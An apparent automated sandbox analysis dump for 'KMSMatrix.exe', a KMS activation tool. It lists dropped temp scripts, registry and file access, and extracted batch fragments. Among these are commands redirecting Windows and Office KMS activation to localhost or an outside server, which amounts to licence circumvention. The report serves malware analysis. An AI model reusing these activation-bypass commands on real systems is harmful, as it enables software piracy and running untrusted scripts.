"ASCII text with CRLF LF line terminators"- [targetUID: N/A] "o_WStatus.txt" has type "Little-endian UTF-16 Unicode text with CRLF line terminators"- Location: [%TEMP%\o_WStatus.txt]- [targetUID: 00000000-00001580] "WStatus.log" has type "Little-endian UTF-16 Unicode text with CRLF line terminators"- Location: [%TEMP%\WStatus.log]- [targetUID: 00000000-00002616] "s_o" has type "DOS batch file ASCII text with CRLF line terminators"- Location: [%TEMP%\s_o]- [targetUID: 00000000-00002616] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00005180] "cnf" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\cnf]- [targetUID: 00000000-00008068] "urlref_httpsipinfo.ioip" has type "ASCII text with no line terminators"- [targetUID: N/A] "OStatus.log" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\OStatus.log]- [targetUID: 00000000-00002616] "urlref_httpsipinfo.iocountry" has type "ASCII text"- [targetUID: N/A] "urlref_httpsgithub.comcloud1cybertronwincurlrawmaincurl.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- [targetUID: N/A]57:T6b2,"KMSMatrix.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "KMSMatrix.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "KMSMatrix.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\EXPLORER"; Key: ""; Value: "") "KMSMatrix.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\EXPLORER"; Key: ""; Value: "") "KMSMatrix.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "KMSMatrix.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION"; Key: ""; Value: "") "KMSMatrix.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SHELLCOMPATIBILITY\APPLICATIONS\KMSMATRIX.EXE"; Key: ""; Value: "") "KMSMatrix.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE"; Key: ""; Value: "") "KMSMatrix.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "KMSMatrix.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "KMSMatrix.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "KMSMatrix.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "")58:Tf76,"KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "ENABLESHELLEXECUTEHOOKS"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "ENABLESHELLEXECUTEHOOKS"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION"; Key: "COMMERCIALDATAOPTIN"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOPROPERTIESMYCOMPUTER"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOPROPERTIESMYCOMPUTER"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOPROPERTIESRECYCLEBIN"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOPROPERTIESRECYCLEBIN"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOCONTROLPANEL"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOCONTROLPANEL"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOSETFOLDERS"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOSETFOLDERS"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOINTERNETICON"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOINTERNETICON"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE"; Key: "VALIDATEREGITEMS"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE"; Key: "MONITORREGISTRY"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOCOMMONGROUPS"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOCOMMONGROUPS"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{20D04FE0-3AEA-1069-A2D8-08002B30309D}"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MYCOMPUTER\NAMESPACE"; Key: "VALIDATEREGITEMS"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MYCOMPUTER\NAMESPACE"; Key: "MONITORREGISTRY"; Value: "")59:T471,"KMSMatrix.exe" reads file "c:\windows\microsoft.net\framework64\v4.0.30319\config\machine.config" "KMSMatrix.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll.aux" "KMSMatrix.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.windows.forms\b138f79dea860272ebe6694d9b73f656\system.windows.forms.ni.dll.aux" "KMSMatrix.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system\e43dd9c73ab5615e461bf5109c3facd6\system.ni.dll.aux" "KMSMatrix.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.drawing\ece80f2e3752a779e894fd45d8f27e64\system.drawing.ni.dll.aux" "KMSMatrix.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\system.configuration.ni.dll.aux" "KMSMatrix.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.core\0d59b0e237d7519417de10cd84bda4e7\system.core.ni.dll.aux" "KMSMatrix.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.xml\5ee35debfc22f727e70e4479ddcbc045\system.xml.ni.dll.aux"5a:T1625,Found string "ontrolSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE') do set arch=%%becho Checking OS Info [%winos% ^| %winbuild% ^| %arch%]set _int=for %%a in (l.root-servers.net resolver1.opendns.com download.windowsupdate.com google.com) do if not defined _int (for /f "delims=[] tokens=2" %%# in ('ping -n 1 %%a') do (if not [%%#]==[] set _int=1))if not defined _int (%psc% "If([Activator]::CreateInstance([Type]::GetTypeFromCLSID([Guid]'{DCB00C01-570F-4A9B-8D69-199FDBA5723B}')).IsConnectedToInternet){Exit 0}Else{Exit 1}"if !errorlevel!==0 set _int=1)if defined _int (echo Checking Internet Connection [Connected]) else (set error=1call :dk_color %Red% "Checking Internet Connection [Not Connected]")set _WSH=1reg query "HKCU\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled 2>nul | find /i "0x0" 1>nul && (set _WSH=0)reg query "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled 2>nul | fin"; File: "KMSMatrix.exe"), Found string "SKU%if not defined osSKU set osSKU=%regSKU%if not defined osSKU (%eline%echo SKU value was not detected properly. Aborting...goto dk_done)::========================================================================================================================================set error=clsecho:for /f "skip=2 tokens=2*" %%a in ('reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE') do set arch=%%becho Checking OS Info [%winos% ^| %winbuild% ^| %arch%]::========================================================================================================================================:: Check Windows Script Hostset _WSH=1reg query "HKCU\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled 2>nul | find /i "0x0" 1>nul && (set _WSH=0)reg query "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled 2>nul | find /i "0x0" 1>nul && (set _WSH=0)if %_WSH% EQU 0 (reg add "H"; File: "KMSMatrix.exe"), Found string ". &echo ==== ERROR ==== &echo."set "eline=echo. &call :_color %Red% "==== ERROR ====" &echo."if %_Debug% EQU 1 set _unattended=1::========================================================================================================================================:: Fix for the special characters limitation in path nameset "_work=%~dp0"if "%_work:~-1%"=="\" set "_work=%_work:~0,-1%"set "_batf=%~f0"set "_batp=%_batf:'=''%"set _PSarg="""%~f0""" -el %_args%set "_ttemp=%temp%"set "_Local=%LocalAppData%"setlocal EnableDelayedExpansion::========================================================================================================================================if %~z0 GEQ 300000 (set "_exitmsg=Go back") else (set "_exitmsg=Exit"):: Check not x86 Windowsset notx86=for /f "skip=2 tokens=2*" %%a in ('reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE') do set arch=%%bif /i not "%arch%"=="x86" se"; File: "KMSMatrix.exe") Found string "n 1 %%a') do (if not [%%#]==[] goto _taskIntConnected))nslookup dns.msftncsi.com 2>nul | find "131.107.255.255" 1>nulif [%errorlevel%]==[0] goto _taskIntConnectedif %loop%==%max_loop% (set _tserror=1goto _taskend)echo.echo Error: Internet is not connectedecho Waiting 30 secondstimeout /t 30 >nulset /a loop=%loop%+1goto _intrepeat:_taskIntConnected::========================================================================================================================================:: Check not x86 Windowsset notx86=for /f "skip=2 tokens=2*" %%a in ('reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE') do set arch=%%bif /i not "%arch%"=="x86" set notx86=1::========================================================================================================================================set "OPPk=SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform"set "SPPk=SOFTWARE\Microsoft\Windows NT"; File: "KMSMatrix.exe"), Found string "token (echo:call :_color %Red% "Failed to delete .dat files."echo:)echo:echo Starting osppsvc service to generate tokens.datcall :_startservice osppsvccall :scandatospp checkif not defined token (call :_stopservice osppsvccall :_startservice osppsvctimeout /t 3 %nul%)call :scandatospp checkecho:if not defined token (call :_color %Red% "Failed to rebuilt tokens.dat file.") else (echo tokens.dat file was rebuilt successfully.)::========================================================================================================================================:repairofficeecho:echo %line%echo:call :_color %Magenta% "Repairing Office Licenses"echo:for /f "skip=2 tokens=2*" %%a in ('reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE') do set arch=%%bif /i "%arch%"=="ARM64" (echo:echo ARM64 Windows Found.echo You need to use repair option in Windows settings for Office.echo:sta"; File: "KMSMatrix.exe") Found string "for /f "skip=2 tokens=2*" %%a in ('reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE') do set arch=%%b"; File: "m_srv.cmd") Found string "for /f "skip=2 tokens=2*" %%a in ('reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE') do set arch=%%b"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp")5b:T1499,Found string "ght click on this script and select 'Run as administrator'.goto MASend)if not exist "%SystemRoot%\Temp\" mkdir "%SystemRoot%\Temp" 1>nul 2>nulset _elev=if defined _args echo "%_args%" | find /i "/S" %nul% && (set "_silent=%nul%") || (set _silent=)if defined _args echo "%_args%" | find /i "/" %nul% && (echo "%_args%" | find /i "/act-" %nul% && (setlocal & (call :K%jhdfbjhsdgf6%M%jhdfbjhsdgf6%SAct%jhdfbjhsdgf6%ivation %_args% %_silent%) & cls & endlocal)echo "%_args%" | find /i "/kms" %nul% && (setlocal & (call :K%jhdfbjhsdgf6%MS%jhdfbjhsdgf6%ReA%jhdfbjhsdgf6%ctivation %_args% %_silent%) & cls & endlocal)exit /b)setlocal DisableDelayedExpansionset _desktop_=for /f "skip=2 tokens=2*" %%a in ('reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop') do call set "_desktop_=%%b"if not defined _desktop_ for /f "delims=" %%a in ('%psc% "& {write-host $([Environment]::GetFolderPath('Desktop'))}"') do call set "_desktop_=%%a"set "_pdesk=" (Indicator: "currentversion\explorer\user shell folders"; in File: "KMSMatrix.exe"), Found string "")set "_bit=64"set "_wow=1"if /i "%PROCESSOR_ARCHITECTURE%"=="amd64" set "xBit=x64"&set "xOS=x64"if /i "%PROCESSOR_ARCHITECTURE%"=="arm64" set "xBit=x86"&set "xOS=A64"if /i "%PROCESSOR_ARCHITECTURE%"=="x86" if "%PROCESSOR_ARCHITEW6432%"=="" set "xBit=x86"&set "xOS=x86"&set "_wow=0"&set "_bit=32"if /i "%PROCESSOR_ARCHITEW6432%"=="amd64" set "xBit=x64"&set "xOS=x64"if /i "%PROCESSOR_ARCHITEW6432%"=="arm64" set "xBit=x86"&set "xOS=A64"if not defined xBit set "xBit=x64"&set "xOS=x64"set _cwmi=0for %%# in (wmic.exe) do @if not "%%~$PATH:#"=="" (wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "ComputerSystem" 1>nul && set _cwmi=1)set "_Local=%LocalAppData%"set "_temp=%SystemRoot%\Temp"set "_log=%~dpn0"set "_work=%~dp0"if "%_work:~-1%"=="\" set "_work=%_work:~0 -1%"set _UNC=0if "%_work:~0 2%"=="\\" set _UNC=1for /f "skip=2 tokens=2*" %%a in ('reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop') do" (Indicator: "currentversion\explorer\user shell folders"; in File: "KMSMatrix.exe") Found string "line=echo: &echo ==== ERROR ==== &echo:"set "eline=echo: &call :_color %Red% "==== ERROR ====" &echo:"set "line=_________________________________________________________________________________________________"if %~z0 GEQ 200000 (set "_exitmsg=Go back") else (set "_exitmsg=Exit")::========================================================================================================================================:: Fix for the special characters limitation in path nameset "_work=%~dp0"if "%_work:~-1%"=="\" set "_work=%_work:~0,-1%"set "_batf=%~f0"set "_batp=%_batf:'=''%"set _PSarg="""%~f0""" -el %_args%set "_ttemp=%temp%":: Check desktop locationset desktop=for /f "skip=2 tokens=2*" %%a in ('reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop') do call set "desktop=%%b"if not defined desktop for /f "delims=" %%a in ('%psc% "& {write-host $([Environment]::GetFolderPath('Desktop'))}"') do call set "desktop=%%a"if" (Indicator: "currentversion\explorer\user shell folders"; in File: "KMSMatrix.exe") Found string "for /f "skip=2 tokens=2*" %%a in ('reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop') do call set "_desktop_=%%b"" (Indicator: "currentversion\explorer\user shell folders"; in File: "m_srv.cmd") Found string "for /f "skip=2 tokens=2*" %%a in ('reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop') do call set "_dsk=%%b"" (Indicator: "currentversion\explorer\user shell folders"; in File: "m_srv.cmd") Found string "for /f "skip=2 tokens=2*" %%a in ('reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop') do call set "desktop=%%b"" (Indicator: "currentversion\explorer\user shell folders"; in File: "m_srv.cmd") Found string "for /f "skip=2 tokens=2*" %%a in ('reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop') do call set "desktop=%%b"" (Indicator: "currentversion\explorer\user shell folders"; in Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "for /f "skip=2 tokens=2*" %%a in ('reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop') do call set "_desktop_=%%b"" (Indicator: "currentversion\explorer\user shell folders"; in Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found string "for /f "skip=2 tokens=2*" %%a in ('reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop') do call set "_dsk=%%b"" (Indicator: "currentversion\explorer\user shell folders"; in Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp")5c:Tba6,"KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\FLTLIB.DLL" "KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "KMSMatrix.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "KMSMatrix.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "KMSMatrix.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "KMSMatrix.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "KMSMatrix.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\en-US\MSCORRC.DLL" "KMSMatrix.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" "KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\en-US\MSCORRC.DLL.DLL" "KMSMatrix.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll.DLL" "KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\UXTHEME.DLL" "KMSMatrix.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" "KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\BCRYPT.DLL" "KMSMatrix.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" "KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\CRYPTSP.DLL" "KMSMatrix.exe" trying to access non-existent file "C:\CRYPTSP.dll" "KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\CRYPTBASE.DLL"5d:T651,"KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\MSCOREE.DLL.LOCAL" "KMSMatrix.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\MSCOREE.DLL.local" "KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\KMSMATRIX.EXE.CONFIG" "KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "KMSMatrix.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\KMSMATRIX.EXE.LOG" "KMSMatrix.exe" trying to access non-existent file "C:\KMSMatrix.exe.config" "KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\assembly\NativeImages_v4.0.30319_64\KMSMATRIX" "KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\KMSMATRIX.INI" "KMSMatrix.exe" trying to access non-existent file "C:\KMSMatrix.INI" "KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\S_O" "KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\S_O.CMD" "KMSMatrix.exe" trying to access non-existent file "\Device\HarddiskVolume2\KMSMATRIX.EXE.LOCAL" "KMSMatrix.exe" trying to access non-existent file "C:\KMSMatrix.exe.Local\"5e:T4d4,"KMSMatrix.exe" writes file "c:\users\%osuser%\appdata\local\temp\cnf" "KMSMatrix.exe" writes file "c:\users\%osuser%\appdata\local\temp\m_srv.cmd" "KMSMatrix.exe" writes file "c:\users\%osuser%\appdata\local\temp\s_w.ps1" "KMSMatrix.exe" writes file "c:\users\%osuser%\appdata\local\temp\s_o" "KMSMatrix.exe" writes file "c:\users\%osuser%\appdata\local\temp\inf.cmd" "KMSMatrix.exe" writes file "%temp%\cnf" "KMSMatrix.exe" writes file "%temp%\m_srv.cmd" "KMSMatrix.exe" writes file "%temp%\s_w.ps1" "KMSMatrix.exe" writes file "%temp%\s_o" "KMSMatrix.exe" writes file "%temp%\inf.cmd" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_kosecsoq.xwi.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_qthzprby.d4x.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_xjyuaidf.3zz.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_ovi5np4p.ufo.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\o_wstatus.txt"5f:Tc5a,"6.6.0.0" "17.0.0.0" "17.5.0.0" "67.218.111.202" Potential IP "127.0.0.1" found in string "ping 127.0.0.1 -n 6 > nul" Potential IP "127.0.0.2" found in string "%nul% reg add "HKLM\%specific_kms%\%app%" /f /v KeyManagementServiceName /t REG_SZ /d "127.0.0.2" || set k_error=1" Potential IP "127.0.0.2" found in string "echo Adding Specific KMS Host [LocalHost 127.0.0.2] [Successful]" Potential IP "127.0.0.2" found in string "call :dk_color %Red% "Adding Specific KMS Host [LocalHost 127.0.0.2] [Failed]"" Potential IP "131.107.255.255" found in string "nslookup dns.msftncsi.com 2>nul | find "131.107.255.255" 1>nul" Potential IP "127.0.0.2" found in string "reg add "HKLM\%SPPk%\%_wApp%\%app%" /f /v KeyManagementServiceName /t REG_SZ /d "127.0.0.2" %_Nul3%" Potential IP "10.0.0.10" found in string "echo Keeping the non-existent IP address 10.0.0.10 as KMS Server." Potential IP "222.184.9.98" found in string "if %server_num% equ %max_servers% set /a server_num+=1&set KMS_IP=222.184.9.98&exit /b" Potential IP "127.0.0.2" found in string "reg query "HKLM\%SPPk%\%_wApp%" /s 2>nul | findstr /i "127.0.0.2" >nul && echo KMS38 activation is locked." Potential IP "10.0.0.10" found in string "reg add "HKLM\%SPPk%" /f /v KeyManagementServiceName /t REG_SZ /d "10.0.0.10"" Potential IP "10.0.0.10" found in string "reg add "HKLM\%SPPk%" /f /v KeyManagementServiceName /t REG_SZ /d "10.0.0.10" /reg:32" Potential IP "10.0.0.10" found in string "reg add "HKLM\%SPPk%\%_oApp%" /f /v KeyManagementServiceName /t REG_SZ /d "10.0.0.10" /reg:32" Potential IP "10.0.0.10" found in string "reg add "HKLM\%SPPk%\%_oApp%" /f /v KeyManagementServiceName /t REG_SZ /d "10.0.0.10"" Potential IP "10.0.0.10" found in string "reg add "HKLM\%OPPk%" /f /v KeyManagementServiceName /t REG_SZ /d "10.0.0.10"" Potential IP "127.0.0.2" found in string "%nul% reg add "HKLM\%SPPk%\%_wApp%\%sppwid%" /f /v KeyManagementServiceName /t REG_SZ /d "127.0.0.2"" Potential IP "222.184.9.98" found in string "if %server_num% geq %max_servers% (set /a server_num+=1&set KMS_IP=222.184.9.98&exit /b)" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" "192.168.241.177" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "4.0.0.0" found in string "ystem.Numerics,4.0.0.0,,b77a5c561934e089" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.10" Potential 